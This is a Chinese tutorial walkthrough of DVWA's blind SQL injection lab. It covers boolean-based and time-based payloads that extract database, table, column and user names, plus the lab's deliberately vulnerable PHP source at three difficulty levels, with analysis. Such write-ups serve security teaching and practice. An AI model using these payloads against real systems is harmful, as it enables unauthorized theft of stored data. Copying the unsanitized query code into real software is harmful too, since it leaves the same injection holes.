7、DVWA——SQL盲注

这篇具有很好参考价值的文章主要介绍了7、DVWA——SQL盲注。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一、概述

  盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

普通注入与盲注的区别:

  普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,比如数据库版本、数据库名、用户名、操作系统版本等;而盲注只能通过多次猜测,从而猜解出有用信息。相对来说sql盲注更加考验安全人员的手注能力。

SQL盲注分类:

  • 布尔盲注
  • 时间盲注

二、low

2.1 通关思路(布尔盲注)

(1)判断是否存在SQL注入漏洞

在参数后面添加',来判断是否存在sql注入漏洞。

7、DVWA——SQL盲注,DVWA,sql,数据库

7、DVWA——SQL盲注,DVWA,sql,数据库

7、DVWA——SQL盲注,DVWA,sql,数据库

  • 引号被拼接到SQL语句中,由此可见,存在SQL注入漏洞。
  • 同时,此处只是返回ID值在不在数据库中,页面可由此分为True和False,因此,该SQL注入属于布尔盲注。

(2)判断属于数字型注入还是字符型注入

7、DVWA——SQL盲注,DVWA,sql,数据库

1+and+1=1+--+

注意:payload需要URL编码。

7、DVWA——SQL盲注,DVWA,sql,数据库

1+and+1=2+--+

7、DVWA——SQL盲注,DVWA,sql,数据库

两次页面返回一致,属于字符型注入。下一步判断闭合符号~

1'+and+1=1+--+

7、DVWA——SQL盲注,DVWA,sql,数据库

1'+and+1=2+--+

7、DVWA——SQL盲注,DVWA,sql,数据库

两次页面返回不一致,故该SQL注入漏洞属于字符型注入,且单引号闭合。

(3)判断结果集中的字段数

注意:order by是对查询结果中的某个字段进行排序,并不能说明表中含有几个字段。

1'+order+by+<数字>+--+

7、DVWA——SQL盲注,DVWA,sql,数据库
7、DVWA——SQL盲注,DVWA,sql,数据库

可知,该页面(表)存在两个字段。

(4)猜数据库名长度

因为盲注没有回显点,故不能使用union进行联合查询。使用length()函数来判断数据库名的长度。

1'+and+length(database())=1+--+

使用sniper进行爆破
7、DVWA——SQL盲注,DVWA,sql,数据库
7、DVWA——SQL盲注,DVWA,sql,数据库
7、DVWA——SQL盲注,DVWA,sql,数据库

由此,可知数据库名长度为4。

(5)猜数据库名

1'+and+ascii((substr(database(),<变量1>,1)))=<变量2>+--+ 

注:

  • substr(string, start, length):提取字串。start从1开始。
  • 大写英文的ASCII值范围:65-90
  • 小写英文的ASCII值范围:97-122
  • 变量1的范围在0-3

7、DVWA——SQL盲注,DVWA,sql,数据库

7、DVWA——SQL盲注,DVWA,sql,数据库

7、DVWA——SQL盲注,DVWA,sql,数据库

可以得知,数据库名第一个字母为d。
依次,可以得到整个数据名为dvwa。

(6)猜表的个数

1'+and+(select+count(table_name)+from+information_schema.tables+where+table_schema=database())=1+--+

同理,爆表个数
7、DVWA——SQL盲注,DVWA,sql,数据库

7、DVWA——SQL盲注,DVWA,sql,数据库

7、DVWA——SQL盲注,DVWA,sql,数据库

由此可见,数据库中存在两个表。

(7)猜第一个表名

1'+and+ascii(substr((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),0,1))=103+--+

注:limit 0,1 代表第一行数据;选第二行数据应该是limit 1,1
7、DVWA——SQL盲注,DVWA,sql,数据库
7、DVWA——SQL盲注,DVWA,sql,数据库
7、DVWA——SQL盲注,DVWA,sql,数据库
7、DVWA——SQL盲注,DVWA,sql,数据库

  • 第一个表名的第一个字母为g;
  • 同理,可以爆破出第一个表名为guestbook,第二个表名为users

(8)猜user表中的字段个数、每个字段的长度、名称

1)该表中的字段个数

1'+and+(select+count(column_name)+from+information_schema.columns+where+table_schema=database()+and+table_name='users')=8+--+

7、DVWA——SQL盲注,DVWA,sql,数据库

这里就不进行爆破了,最终可以得到:users表中含有8个字段。

2)猜第一个字段的长度

1'+and+length((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1))=7+--+

注:

  • 猜第二个字段的长度就将limit 0,1改为limit 1,1,依此类推。

7、DVWA——SQL盲注,DVWA,sql,数据库

可知,第一个字段长度为7。

3)猜第一个字段的第一个字母

1'+and+ascii(substr((select+column_name+from+information_schema.columns+where+table_name='users'+limit+0,1),1,1))=117+--+

注:第一个字段的第二个字母就将limit+0,1),1,1改为limit+0,1),2,1

7、DVWA——SQL盲注,DVWA,sql,数据库

  • 按照上述思路,对user表中的每个字段进行爆破,最终可以得到每个字段名。
  • 可以知道users表中含有user和password两个字段。

(9)猜字段内容

1)以猜user字段的第一个字段值为例:

1'+and+length((select+user+from+dvwa.users+limit+0,1))=5+--+

7、DVWA——SQL盲注,DVWA,sql,数据库

可以得知,第一个字段值长度为5。

2)猜第一个字段值的首字母

1'+and+ascii(substr((select+user+from+dvwa.users+limit+0,1),1,1))=97+--+

7、DVWA——SQL盲注,DVWA,sql,数据库

可以得到第一个字母为a。用同样的方法得到整个字段值。

2.2 通关思路(时间盲注)

(1)判断是否存在SQL注入漏洞,属于字符型还是数字型

1+and+sleep(5)+--+ //数字型则等待5秒;
1'+and+sleep(5)+--+ //字符型则等待5秒;

7、DVWA——SQL盲注,DVWA,sql,数据库
7、DVWA——SQL盲注,DVWA,sql,数据库

故,此处存在SQL注入漏洞,且属于字符型注入,单引号闭合。

(2)猜测当前数据库名长度、首字母

1)猜测数据库名长度

需要用到的函数if(a,b,c):a是条件,满足返回b,不满足返回c

1'+and+if(length(database())=4,sleep(5),1)+--+

7、DVWA——SQL盲注,DVWA,sql,数据库

延迟5秒,说明数据库名的长度为4。

2)猜测数据库名的首字母

1'+and+if(ascii((substr(database(),1,1)))=100,sleep(5),1)+--+ 

7、DVWA——SQL盲注,DVWA,sql,数据库

  • 延迟5秒,说明首字母的ascii值为100;
  • 注意此时页面会报错嗷~
  • 后续步骤同布尔盲注,无非是加了一个if函数。

2.3 源码分析

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Get input
    $id = $_GET[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?> 

分析:
  源码直接用 GET 方法传入参数 id,但是没有经过任何过滤就拿去 SQL 查询了。同时我们看到网页并不会返回查询的结果,而是当查询到内容时返回 “User ID exists in the database”,查不到时返回 “User ID is MISSING from the database”。

三、medium


<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $id = $_POST[ 'id' ];
    $id = mysql_real_escape_string( $id );

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?> 

分析:源码使用了 mysql_real_escape_string() 函数转义字符串中的特殊字符。也就是说特殊符号 \x00\n\r\'"\x1a 都将进行转义。同时开发者把前端页面的输入框删了,改成了下拉选择表单,希望以此来控制用户的输入。

需要注意的是,加单引号,页面返回报错,可能会误判。例如,正常是查id等于1的用户,转义后就会去查id等于1\'的用户,显然数据库没有。故,注意可能会误判。

7、DVWA——SQL盲注,DVWA,sql,数据库

四、high

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?> 

分析:High 级别的只是在 SQL 查询语句中添加了 LIMIT 1,这令服务器仅回显查询到的一个结果。同时源码利用了 cookie 传递参数 id,当 SQL 查询结果为空时会执行函数 sleep(),这是为了混淆基于时间的盲注的响应时间判断。文章来源地址https://www.toymoban.com/news/detail-712498.html

到了这里,关于7、DVWA——SQL盲注的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • DVWA 之 SQL注入(非盲注)

    步骤: 1.判断是否存在注入,注入是字符型还是数字型 2.猜解SQL查询语句中的字段数 3.确定显示的字段顺序 4.获取当前数据库 5.获取数据库中的表 6.获取表中的字段名 7.下载数据 输入1,查询成功: 输入1’and ‘1’ =’2,查询失败,返回结果为空: 输入1’or ‘1 ’=’1,查询

    2024年02月04日
    浏览(43)
  • SQL Server 数据库之SQL Server 数据库的安全设置

    数据库服务器是所有应用的数据中转站,若数据库服务被恶意攻击,可能会造成数据泄露、数据丢失、数据被恶意篡改等诸多无法挽回的损失; 所以,对数据库进行安全设置是每一个数据库管理人员都应掌握的知识; SQL Server 登录模式分为 “Windows 身份验证模式” 和 “SQL

    2024年02月06日
    浏览(73)
  • SQL Server数据库使用SQL Server代理实现数据库自动备份

    在现实中,为了保证数据的安全和完整,防止人为错误和硬件故障等造成的数据丢失和损坏,就需要用到数据库的备份,不同的数据库方法有所差别,我这边主讲SQL Server数据库的备份和使用SQL Server代理作业实现数据库的定时备份。 目录 一、开启SQL Server代理 1、找到SQL Serv

    2024年02月09日
    浏览(76)
  • 【数据库·关系数据库标准语言SQL·学习笔记】Microsoft SQL Server数据库的建立和删除

    开发环境:SQL Server Management Studio(SSMS) 利用数据库对象资源管理器创建数据库 (1)右击对象资源管理器中的数据库,选择新建数据库 (2)在新建数据库界面输入数据库名称 ,并选择确定 利用CREAT DATABASE命令在SSM工具的新建查询中创建数据库 1.语法格式 CREATE DATABASE dat

    2024年02月08日
    浏览(56)
  • sql数据库怎么备份,sql 实时备份

    在当今互联网时代,数据已经成为企业的核心资产。然而,数据的安全性和完整性面临硬件问题、软件故障、人工操作错误等各种威胁。为了保证数据的安全,实时备份已经成为公司必须采取的重要措施之一。下面我们就重点介绍SQL实时备份的重要实施方法。 SQL实时备份的必

    2024年02月10日
    浏览(58)
  • SQL Server数据库——创建数据库

    目录 一、界面方式创建数据库 1.1创建数据库xscj,数据文件和日志文件的属性按默认值设置  1.2在xscj数据库中增加文件xcsj1,其属性均取系统默认值  1.3在数据库xscj中增加一个名为myGroup的文件组。 1.4数据库的重命名  1.5数据库的删除  二、命令方式创建数据库 以创建学生管

    2024年02月01日
    浏览(63)
  • sql 创建sql server数据库文件组

    可以在建立数据库时候创建 如: CREATE DATABASE MyDB ON PRIMARY                           --主文件组和主要数据文件   ( NAME=\\\'MyDB_Primary\\\',    FILENAME= \\\'c:MyDB_Prm.mdf\\\'), FILEGROUP MyDB_FG1                   --用户定义文件组1   ( NAME = \\\'MyDB_FG1_Dat1\\\',    FILENAME = \\\'c:MyDB_FG1_1.ndf\\\'),  --次要数

    2024年02月08日
    浏览(61)
  • SQL数据库案例1——创建商店数据库

    创建商店数据库Commodities_Management 创建商品表、供应商表、进货表、销售表 各表分别输入数据 库名:Commodities_Management 字符集:utf16 表一:商品表 字段名 类型 长度 约束 商品编号 varchar 10 外键(参照进货表) 商品名 varchar 30 — 规格 varchar 20 — 供应商编号 varchar 10 非空 表二:

    2024年02月12日
    浏览(46)
  • SQL 数据库语句- 创建和管理数据库

    SQL CREATE DATABASE 语句用于创建一个新的 SQL 数据库。 以下 SQL 语句创建了一个名为 \\\"testDB\\\" 的数据库: 通过这个简单的语句,你可以成功地创建一个名为 \\\"testDB\\\" 的数据库。记得在实际应用中,你可能需要添加其他选项,比如指定字符集、校对规则等,以满足具体需求。 SQL DRO

    2024年02月05日
    浏览(76)
  • 数据库复试—关系数据库标准语言SQL

    SQL:结构化查询语言 以教材中的学生-课程数据库为例进行SQL基础语法的复习 数据库实验环境选择SQLServer 11 学生表Student( Sno ,Sname,Ssex,Sage,Sdept) 课程表Course( Cno ,Cname,Cpno,Ccredit) 学生选课表SC( Sno,Cno ,Grade) 数据建立 学生表数据 学号Sno 姓名 Sname 性别 Ssex 年龄 Sage 所在系 Sdept

    2024年01月24日
    浏览(57)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包